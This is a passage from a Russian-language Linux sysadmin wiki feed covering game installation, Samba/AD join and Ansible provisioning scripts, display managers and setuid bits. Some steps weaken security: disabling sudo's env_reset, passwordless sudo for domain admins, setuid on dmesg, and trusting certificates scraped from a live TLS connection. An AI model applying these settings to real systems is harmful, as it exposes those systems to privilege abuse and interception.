Скачиваем архив с библиотеками - &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/ut99.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:ut99.zip (1.1 MB)&quot;&gt;ut99.zip&lt;/a&gt;&lt;br/&gt;

Пытаемся их поставить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libsm6:i386 libgl1:i386 libsdl1.2debian:i386
sudo apt-get install ./libgtk1.2-common_1.2.10-18_all.deb &lt;/pre&gt;

&lt;p&gt;
В файле &lt;strong&gt;/var/lib/dpkg/status&lt;/strong&gt; добавляем строку
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Multi-Arch: foreign&lt;/pre&gt;

&lt;p&gt;
в статус пакета &lt;strong&gt;libgtk1.2-common&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;...
Package: libgtk1.2-common
 Status: install ok installed
 Multi-Arch: foreign
 Priority: optional
 Section: misc
 Installed-Size: 944&lt;/pre&gt;

&lt;p&gt;
и ставим последнюю библиотечку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install ./libgtk1.2_1.2.10-18_i386.deb &lt;/pre&gt;

&lt;p&gt;
Монтируем CD-ROM:
&lt;/p&gt;

&lt;p&gt;
Запускаем инсталлятор:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo linux32 sh unreal.tournament_436-multilanguage.goty.run&lt;/pre&gt;

&lt;p&gt;
После установки пробуем запуститься:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /usr/local/games/ut
./ut&lt;/pre&gt;

&lt;p&gt;
Но я получал:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Signal: SIGSEGV [segmentation fault]
Aborting.
Segmentation fault (core dumped)&lt;/pre&gt;

&lt;p&gt;
Нужно включить софтовый рендер. При первом запуске будет создан файл &lt;strong&gt;~/.loki/ut/System/UnrealTournament.ini&lt;/strong&gt;. В нем нужно поправить параметры: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Engine.Engine]
GameRenderDevice=SDLSoftDrv.SDLSoftwareRenderDevice
WindowedRenderDevice=SDLSoftDrv.SDLSoftwareRenderDevice
RenderDevice=SDLSoftDrv.SDLSoftwareRenderDevice&lt;/pre&gt;

&lt;p&gt;
В итоге - игра запустилась, но без аппаратного ускорения и без звука. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;unreal.tournament_436-multilanguage.goty.run&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;unrealtournament_436-multilanguagegotyrun&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;495-2354&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;установка_версии_451&quot;&gt;Установка версии 451&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;git clone https://github.com/liflg/unreal.tournament_451-english_x86.git
cd unreal.tournament_451-english_x86/data
chmod +x ./ut
sudo find ./ -name &amp;#039;*.tar.xz&amp;#039; -exec tar -xvf {} -C /usr/local/games/ut \;
sudo cp ./ut /usr/local/games/ut/
sudo cp ./ucc /usr/local/games/ut/
sudo cp ./ut.xpm /usr/local/games/ut/&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0435\u0440\u0441\u0438\u0438 451&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0432\u0435\u0440\u0441\u0438\u0438_451&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2355-2731&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;запускаем_нативный_opengl&quot;&gt;Запускаем нативный OpenGl&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;https://www.pcgamingwiki.com/wiki/Unreal_Tournament#Linux
https://community.pcgamingwiki.com/files/file/971-ut-native-linux-451-patched/&lt;/pre&gt;

&lt;p&gt;
Вот тут человек запускал успешно версию 436, правда он запускал на ArchLinux и патчил Mesa - &lt;a href=&quot;https://www.gamingonlinux.com/articles/the-sad-case-of-unreal-engine-1-on-mesa-and-linux-in-2020.15915/page=4&quot; class=&quot;urlextern&quot; title=&quot;https://www.gamingonlinux.com/articles/the-sad-case-of-unreal-engine-1-on-mesa-and-linux-in-2020.15915/page=4&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.gamingonlinux.com/articles/the-sad-case-of-unreal-engine-1-on-mesa-and-linux-in-2020.15915/page=4&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 OpenGl&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c_\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439_opengl&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2732-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sun, 07 Feb 2021 19:55:55 +0000</pubDate>
        </item>
        <item>
            <title>russian_codepage_filenames_on_linux_shares</title>
            <link>https://wiki.autosys.tk/linux_faq/russian_codepage_filenames_on_linux_shares</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;, у которой имена файлов в &lt;strong&gt;UTF8&lt;/strong&gt; поднята шара &lt;strong&gt;NFS&lt;/strong&gt;. &lt;br/&gt;

При доступе к ней с хоста &lt;strong&gt;Windows 2012&lt;/strong&gt; русские имена файлов отображаются как кракозябры. Очевидно, &lt;strong&gt;Windows&lt;/strong&gt; ожидает увидеть имена файлов в &lt;strong&gt;cp1251&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-400&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;что_же_можно_сделать&quot;&gt;Что же можно сделать&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
А можно установить хитрую прогу, которая создаст отдельную точку монтирования, в которой имена указанной директории будут в нужной кодировке: &lt;a href=&quot;http://fuse-convmvfs.sourceforge.net/&quot; class=&quot;urlextern&quot; title=&quot;http://fuse-convmvfs.sourceforge.net/&quot; rel=&quot;ugc nofollow&quot;&gt;http://fuse-convmvfs.sourceforge.net/&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u0436\u0435_\u043c\u043e\u0436\u043d\u043e_\u0441\u0434\u0435\u043b\u0430\u0442\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;401-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>script_setup_ubuntu_samba_to_join_ad</title>
            <link>https://wiki.autosys.tk/linux_faq/script_setup_ubuntu_samba_to_join_ad</link>
            <description>&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

####################################
#### Set needed Variables
####################################
NEW_DOMAINNAME=&amp;quot;autosys.tk&amp;quot;
DNS_SERVERS=&amp;quot;192.168.1.100 192.168.1.1&amp;quot;
DNS_STATIC_SEARCHLIST=&amp;quot;$NEW_DOMAINNAME&amp;quot;
DOMAIN_CONTROLLERS=&amp;quot;dc1.autosys.tk&amp;quot;
DEFAULT_REALM=&amp;quot;${NEW_DOMAINNAME^^}&amp;quot;
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  &amp;#039;1,$ s/\..*//g&amp;#039;)

# check root
if [ &amp;quot;$(id -u)&amp;quot; != &amp;quot;0&amp;quot; ]; then
  echo &amp;quot;You do not have the appropriate privileges...&amp;quot;
  exit 1
fi

##############################################
### Disable IPv6
##############################################
cp /etc/sysctl.conf /etc/sysctl.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
sed -i &amp;#039;/^net.ipv6.conf/D&amp;#039; /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.all.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.default.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.lo.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
sysctl -p

##############################################
### Setting up NameServers
##############################################
echo &amp;quot;search $DNS_STATIC_SEARCHLIST&amp;quot; | sudo tee -a /etc/resolvconf/resolv.conf.d/base
echo -ne &amp;gt; /etc/resolvconf/resolv.conf.d/head
for nameserver in $DNS_SERVERS; do echo &amp;quot;nameserver $nameserver&amp;quot; | sudo tee -a /etc/resolvconf/resolv.conf.d/head ;done
resolvconf -u

apt-get update
apt-get -y upgrade

apt-get -y install nano curl openssl libnss3-tools \
chrony krb5-config krb5-locales krb5-user libpam-krb5 \
samba smbclient winbind libpam-winbind libnss-winbind gss-ntlmssp \
ldap-utils cifs-utils libsasl2-modules-gssapi-mit

###############################################
### Setup Services
###############################################
systemctl enable ssh
systemctl enable nmbd.service
systemctl enable samba.service
systemctl enable winbind.service
#############################################
#### Setting sudo
#############################################
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/sudoers.d/domain_users
ubuntu       ALL=(ALL) ALL
mike	ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ admins      ALL=(ALL) NOPASSWD: ALL
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i &amp;quot;/^Defaults\ targetpw.*\$/ s/^/#/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^ALL.*ALL=(ALL).*\$/ s/^/#/&amp;quot; /etc/sudoers


#########################################
### Setup NTP servers
#########################################
sed -i &amp;quot;/^pool.*\$/ s/^/#/&amp;quot; /etc/chrony/chrony.conf
sed -i &amp;quot;/^server.*\$/ s/^/#/&amp;quot; /etc/chrony/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo &amp;quot;server $dc iburst&amp;quot; | sudo tee -a /etc/chrony/chrony.conf
done

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat &amp;lt;&amp;lt;EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo &amp;quot;kdc = $i&amp;quot;;done)

REALMS=$(cat &amp;lt;&amp;lt;EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat &amp;lt;&amp;lt;EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo &amp;quot;$LIBDEFAULTS&amp;quot; &amp;gt; /etc/krb5.conf
echo &amp;quot;$REALMS&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf
echo &amp;quot;$DOMAIN_REALM&amp;quot; &amp;gt;&amp;gt; /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat &amp;lt;&amp;lt;EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = yes
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
EOF
)

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
echo &amp;quot;$SMB_CONF&amp;quot; &amp;gt; /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i &amp;#039;/^passwd:.*compat$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^group:.*compat$/ s/$/ winbind/&amp;#039; /etc/nsswitch.conf
sed -i &amp;#039;/^hosts:/ s/:.*$/: files dns/&amp;#039; /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
sed -i &amp;quot;/^Default:.*\$/ s/:.*$/: yes/&amp;quot; /usr/share/pam-configs/mkhomedir
sed -i &amp;#039;/^mkhomedir/D&amp;#039; /var/lib/pam/seen
pam-auth-update --package
################################################################
### Fix /etc/pam.d/sddm to allow copy /etc/skel/ on first logon
### https://wiki.autosys.tk/doku.php?id=linux_faq:kde_not_copying_etc_skel_on_user_first_login
################################################################
sed -i &amp;#039;/pam_kwallet/ s/^/#/g&amp;#039; /etc/pam.d/sddm&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>sddm_to_lightdm_change_in_ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/sddm_to_lightdm_change_in_ubuntu</link>
            <description>
&lt;p&gt;
Если на системе установлен &lt;strong&gt;KDE&lt;/strong&gt; + &lt;strong&gt;SDDM&lt;/strong&gt;, но нужно перейти на &lt;strong&gt;Lightdm&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install lightdm &lt;/pre&gt;

&lt;p&gt;
В процессе установки скрипт предложить выбрать новый дефолтный &lt;strong&gt;Display Manager&lt;/strong&gt;. Выбираем &lt;strong&gt;Lightdm&lt;/strong&gt; &lt;br/&gt;

Затем перезагружаемся и пробуем зайти. Если &lt;strong&gt;Lightdm&lt;/strong&gt; при старте сессии говорит, что
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Failed to start session&lt;/pre&gt;

&lt;p&gt;
значит отсутствует файлик с описанием запускаемой сессии. &lt;br/&gt;

Делаем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#########################################################
### Set lightdm for kde-plasma-kf5 session
### user-session - /usr/share/xsessions/plasma.desktop
#########################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/lightdm/lightdm.conf
[SeatDefaults]
user-session=plasma
EOF&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>sed_preserving_permissions_for_operation_not_permitted</title>
            <link>https://wiki.autosys.tk/linux_faq/sed_preserving_permissions_for_operation_not_permitted</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При попытке добавить строку в файл конфигурации конейтнера &lt;strong&gt;lxc&lt;/strong&gt; в &lt;strong&gt;proxmox&lt;/strong&gt; в директории &lt;strong&gt;/etc/pve/lxc/&lt;/strong&gt; с помощью модуля ansible &lt;strong&gt;lineinfile&lt;/strong&gt; у меня ничего не вышло. &lt;br/&gt;

При попытке использовать &lt;strong&gt;sed&lt;/strong&gt; я получил вот такую ошибку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sed: preserving permissions for ‘...’: Operation not permitted&lt;/pre&gt;

&lt;p&gt;
Довольно странно. При попытке выполнить &lt;strong&gt;lsattr&lt;/strong&gt; я получал:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lsattr: Function not implemented While reading flags on ...&lt;/pre&gt;

&lt;p&gt;
Судя по всему, &lt;strong&gt;sed&lt;/strong&gt; не удавалось переименовать отректированную копию файла и заменить ею исходный файл. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-839&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я так и не понял почему это происходит, однако выполнить задуманное мне удалдось с помощью &lt;strong&gt;perl&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;perl -i -pe &amp;#039;s/foo/bar/g&amp;#039; ./filename&lt;/pre&gt;

&lt;p&gt;
Также нормально работает &lt;strong&gt;awk&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;awk -v line=&amp;#039;line to add&amp;#039; &amp;#039;FNR==NR &amp;amp;&amp;amp; line==$0{f=1; exit} END{if (!f) print line &amp;gt;&amp;gt; FILENAME}&amp;#039; ____path_to_file____&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;840-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 04 Jun 2019 20:48:31 +0000</pubDate>
        </item>
        <item>
            <title>setuid_automatic_privileges_escalation</title>
            <link>https://wiki.autosys.tk/linux_faq/setuid_automatic_privileges_escalation</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;что_такое_setuid&quot;&gt;Что такое setuid ??&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://ru.wikipedia.org/wiki/Suid&quot; class=&quot;urlextern&quot; title=&quot;https://ru.wikipedia.org/wiki/Suid&quot; rel=&quot;ugc nofollow&quot;&gt;https://ru.wikipedia.org/wiki/Suid&lt;/a&gt; &lt;br/&gt;

&lt;strong&gt;setuid&lt;/strong&gt; и &lt;strong&gt;setgid&lt;/strong&gt; - это аттрибуты файла, который позволяют запускать его не от имени текущего пользователя, а от имени владельца файла. &lt;br/&gt;

Это бывает нужно для запуска программ, требующих высоких привилегий, обычными непривилегированными пользователями. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 setuid ??&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u0442\u0430\u043a\u043e\u0435_setuid&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-541&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;как_поставить_бит_setuid&quot;&gt;Как поставить бит setuid??&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod 4755 /bin/ping
sudo chmod 4755 /bin/dmesg&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0431\u0438\u0442 setuid??&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c_\u0431\u0438\u0442_setuid&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;542-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 26 May 2023 18:34:50 +0000</pubDate>
        </item>
        <item>
            <title>setup_centos_workstation_with_ansible_playbook</title>
            <link>https://wiki.autosys.tk/linux_faq/setup_centos_workstation_with_ansible_playbook</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне нужно создать &lt;strong&gt;playbook&lt;/strong&gt; для &lt;strong&gt;ansible&lt;/strong&gt;, который будет настраивать систему на базе клона &lt;strong&gt;CentOS&lt;/strong&gt; (&lt;strong&gt;ОСь&lt;/strong&gt; от &lt;strong&gt;НЦИ&lt;/strong&gt; - &lt;a href=&quot;http://www.os-rt.ru/&quot; class=&quot;urlextern&quot; title=&quot;http://www.os-rt.ru/&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.os-rt.ru/&lt;/a&gt; ). &lt;br/&gt;

А именно: устанавливать необходимые пакеты, настраивать систему для авторизации средствами &lt;strong&gt;AD&lt;/strong&gt;, настраивать &lt;strong&gt;autodiscovery&lt;/strong&gt; для почтового клиента &lt;strong&gt;evolution&lt;/strong&gt; для работы с &lt;strong&gt;MS Exchange&lt;/strong&gt; и производить мелкий тюнинг системы. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-637&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;playbook&quot;&gt;PlayBook&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;---
- hosts: nci-os
  vars:
    hostname: szud-os1
    domain_name: sigma.sbrf.ru
    dns_servers:
      - 10.21.7.212
      - 10.21.7.213
#      - 192.168.122.1
#      - 4.2.2.4
    domain_search: &amp;quot;{{ domain_name }} sberbank.ru&amp;quot;
    ca_cert_prefix: SberBank_Root_CA
    domain_controllers: &amp;quot;{{ dns_servers }}&amp;quot;
  remote_user: root
  tasks:

#### Setup Network Settings ####
  - name: setting DNS
    shell: |
      nmcli con mod {{ ansible_default_ipv4.interface }} ipv4.dns-search &amp;quot;{{ domain_search }}&amp;quot;
      nmcli con mod {{ ansible_default_ipv4.interface }} ipv4.dns &amp;quot;{{ dns_servers | join(&amp;#039; &amp;#039;) }}&amp;quot;
      nmcli con down {{ ansible_default_ipv4.interface }}
      nmcli con up {{ ansible_default_ipv4.interface }}

  - name: Disable IPv6
    sysctl:
      name: net.ipv6.conf.{{ item }}.disable_ipv6
      value: 1
      sysctl_set: yes
      state: present
      reload: yes
    with_items:
    - all
    - default
    - lo
    - &amp;quot;{{ ansible_default_ipv4.interface }}&amp;quot;
    
  - name: Set hostname
    shell: |
      sysctl kernel.hostname=&amp;quot;{{ hostname }}&amp;quot;
      sysctl -p
      hostnamectl set-hostname &amp;quot;{{ hostname }}&amp;quot; ##.&amp;quot;{{ domain_name }}&amp;quot;
      sed -i &amp;#039;/^127./D&amp;#039; /etc/hosts
  - lineinfile:
      name: /etc/hosts 
      regexp: &amp;#039;^127\.0\.0\.1&amp;#039;
      line: &amp;#039;127.0.0.1 {{ hostname }}.{{ domain_name }} {{ hostname }} localhost.localdomain localhost&amp;#039;
  - lineinfile:
      name: /etc/hosts
      regexp: &amp;#039;/^::1/D&amp;#039;
      state: absent
  - name: restart NetworkManager service
    service: name=NetworkManager state=restarted

#### Import IronPort Certificates ####
  - name: Import Certificates
    shell: |
      update-ca-trust force-enable
      echo &amp;quot;Trying to reach ya.ru...&amp;quot;
      ping -c 5 ya.ru &amp;amp;&amp;gt; /dev/null &amp;amp;&amp;amp; openssl s_client -showcerts -connect ya.ru:443 &amp;lt;/dev/null &amp;gt; chain.pem || exit
      csplit -k -f &amp;quot;{{ ca_cert_prefix }}&amp;quot; ./chain.pem &amp;#039;/END CERTIFICATE/+1&amp;#039; {10}
      find ./ -iname &amp;quot;{{ ca_cert_prefix }}&amp;quot;\* -type f -exec grep -F -L &amp;#039;END CERTIFICATE&amp;#039; &amp;#039;{}&amp;#039; + | xargs -d &amp;#039;\n&amp;#039; rm
      for file in &amp;quot;{{ ca_cert_prefix }}&amp;quot;* ; do sudo mv &amp;quot;$file&amp;quot; /etc/pki/ca-trust/source/anchors/&amp;quot;$file&amp;quot;.pem ; done
      for file in /etc/pki/ca-trust/source/anchors/&amp;quot;{{ ca_cert_prefix }}&amp;quot;* ; do sudo cp &amp;quot;$file&amp;quot; /etc/ssl/certs/ ; done
      update-ca-trust extract
      rm -f ./chain.pem
      exit 0

####  Setup Software ####
  - name: upgrade all packages
    yum:
      name: &amp;#039;*&amp;#039;
      state: latest

  - name: install packages
    yum: state=present name={{ item }}
    with_items:
    - nano
    - curl
    - openssl
    - nss-tools
    - chrony
    - authconfig
    - krb5-workstation
    - samba
    - samba-client
    - samba-winbind
    - samba-winbind-clients
    - pam_krb5
    - oddjob-mkhomedir
    - cyrus-sasl-gssapi
    - cyrus-sasl-ntlm
    - openldap-clients
    - cifs-utils
    - aspell
    - evolution
    - evolution-ews
    - desktop-file-utils
    - xorg-x11-server-Xvfb
    - &amp;quot;@Development tools&amp;quot;
    - glibc.i686
    - http://linuxdownload.adobe.com/adobe-release/adobe-release-x86_64-1.0-1.noarch.rpm
    - java-1.8.0-openjdk
  - name: install flash-plugin
    yum:
      name: flash-plugin
      state: present

#### Setup Chrony NTP Client ####
  - lineinfile:
      name: /etc/chrony.conf
      regexp: &amp;quot;{{ item.regexp }}&amp;quot;
      state: absent
    with_items:
      - { regexp: &amp;#039;^pool.*&amp;#039; }
      - { regexp: &amp;#039;^server.*&amp;#039; }
  - lineinfile:
      name: /etc/chrony.conf
      line: &amp;#039;server {{ item }} iburst&amp;#039;
    with_items: &amp;quot;{{ domain_controllers }}&amp;quot;
  - service:
      name: chronyd
      state: restarted
      
#### Setup Kerberos and Samba ####
  - name: run Authconfig
    shell: |
      DEFAULT_REALM=&amp;quot;{{ domain_name | upper }}&amp;quot;
      DOMAIN_CONTROLLERS=&amp;quot;$(host -t srv _ldap._tcp.&amp;quot;{{ domain_name }}&amp;quot; | awk {&amp;#039;print $8&amp;#039;} | sed &amp;#039;s/.$//g&amp;#039;)&amp;quot;
      NEW_DOMAINNAME=&amp;quot;{{ domain_name }}&amp;quot;
